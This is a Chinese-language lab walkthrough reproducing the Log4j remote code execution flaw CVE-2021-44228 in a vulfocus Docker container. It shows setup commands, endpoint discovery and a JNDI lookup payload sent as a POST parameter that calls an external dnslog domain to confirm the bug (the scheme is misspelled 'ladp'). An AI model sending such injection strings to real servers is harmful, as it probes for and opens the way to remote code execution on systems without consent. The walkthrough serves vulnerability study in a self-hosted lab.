(影响版本Apache Log4j 2.0.x~2.14.1)
CVE-2021-44228 Apache Log4j 远程代码执行漏洞复现
(影响版本Apache Log4j 2.0.x~2.14.1)
1.安装docker
2.使用docker下载Log4j2的镜像环境
docker pull vulfocus/log4j2-rce-2021-12-09
3.使用docker为该漏洞环境开启一个容器,并以交互式模式在后台运行
docker run -it -d -p 1234:8080 vulfocus/log4j2-rce-2021-12-09
-i:以交互模式运行容器,通常与 -t 同时使用;
-d:后台运行容器;
-p:端口映射,主机(宿主)端口:容器端口。
docker exec -it d3614f134add bash
(在运行的容器中执行命令)
从上面可以看出系统执行了demo.jar这个jar包,这个jar包是存在Log4j 远程代码执行漏洞
4.在主机访问(http://127.0.0.1:1234)
并没有得到什么有用的信息,可以使用目录扫描试一下
把扫出来的目录尝试访问,发现/hello目录存在不一样的返回界面
该页面不支持get请求,可以尝试post请求
在这里随便post参数都能返回ok,但是只有payload参数是我们可以进行命令执行的(别问我为什么,我也不知道)
5.执行攻击payload,可以在dnslog看到回显
payload=${jndi:ladp://king.m5gwx8.dnslog.cn/exp}
点击Execute后,可以在Dnslog平台上看到回显
(dnslog平台上不一定能看到回显,多换几个域名试一下)